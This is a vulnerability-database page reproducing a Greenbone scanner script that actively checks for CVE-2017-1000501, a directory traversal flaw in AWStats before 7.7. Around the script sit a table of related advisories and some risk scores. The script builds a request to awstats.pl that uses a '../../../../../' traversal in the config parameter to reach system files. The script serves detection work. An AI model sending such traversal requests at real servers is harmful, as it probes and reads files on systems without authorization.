AWStats < 7.7 Directory Traversal Vulnerability - Active Check
🗓️ 08 Jan 2018 00:00:00Reported by Copyright (C) 2018 Greenbone AGType
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| Reporter | Title | Published | Views | Family All 53 |
|---|---|---|---|---|
| awstats -- remote code execution | 3 Jan 201800:00 | – | freebsd | |
| CVE-2017-1000501 | 3 Jan 201815:00 | – | alpinelinux | |
| CVE-2017-1000501 | 7 Dec 202022:30 | – | circl | |
| AWStats Path Traversal Vulnerability | 5 Jan 201800:00 | – | cnvd | |
| CVE-2017-1000501 | 3 Jan 201815:00 | – | cve | |
| CVE-2017-1000501 | 3 Jan 201815:00 | – | cvelist | |
| [SECURITY] [DLA 1238-1] awstats security update | 10 Jan 201805:59 | – | debian | |
| [SECURITY] [DSA 4092-1] awstats security update | 19 Jan 201809:13 | – | debian | |
| [SECURITY] [DSA 4092-1] awstats security update | 19 Jan 201809:13 | – | debian | |
| CVE-2017-1000501 | 3 Jan 201815:00 | – | debiancve |
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| Source | Link |
|---|---|
| seclists | www.seclists.org/oss-sec/2017/q4/435 |
| awstats | www.awstats.sourceforge.io/docs/awstats_changelog.txt |
# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:awstats:awstats";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.140659");
script_version("2025-09-09T14:09:45+0000");
script_tag(name:"last_modification", value:"2025-09-09 14:09:45 +0000 (Tue, 09 Sep 2025)");
script_tag(name:"creation_date", value:"2018-01-08 11:12:36 +0700 (Mon, 08 Jan 2018)");
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_tag(name:"severity_vector", value:"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2020-07-27 03:15:00 +0000 (Mon, 27 Jul 2020)");
script_cve_id("CVE-2017-1000501");
script_name("AWStats < 7.7 Directory Traversal Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2018 Greenbone AG");
script_family("Web application abuses");
script_dependencies("gb_awstats_http_detect.nasl", "os_detection.nasl");
script_mandatory_keys("awstats/http/detected");
script_require_ports("Services/www", 80);
script_xref(name:"URL", value:"https://awstats.sourceforge.io/docs/awstats_changelog.txt");
script_xref(name:"URL", value:"http://seclists.org/oss-sec/2017/q4/435");
script_tag(name:"summary", value:"AWStats is vulnerable to a path traversal flaw in the handling
of the 'config' and 'migrate' parameters resulting in unauthenticated remote code execution
(RCE).");
script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");
script_tag(name:"affected", value:"AWStats version 7.6 and prior.");
script_tag(name:"solution", value:"Update to version 7.7 or later.");
script_tag(name:"qod_type", value:"remote_active");
script_tag(name:"solution_type", value:"VendorFix");
exit(0);
}
include("host_details.inc");
include("os_func.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("traversal_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!dir = get_app_location(cpe: CPE, port: port))
exit(0);
if (dir == "/")
dir = "";
files = traversal_files();
foreach pattern(keys(files)) {
file = files[pattern];
url = dir + "/awstats.pl?config=../../../../../" + file;
if (http_vuln_check(port: port, url: url, pattern: "../../../../../" + file, check_header: TRUE,
extra_check: make_list("Warning: Syntax error line", "file, web server or permissions) may be wrong."))) {
report = http_report_vuln_url(port: port, url: url);
security_message(port: port, data: report);
exit(0);
}
}
exit(99);
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09 Sep 2025 00:00Current
7.3High risk
Vulners AI Score7.3
CVSS 27.5
CVSS 39.8
EPSS0.04352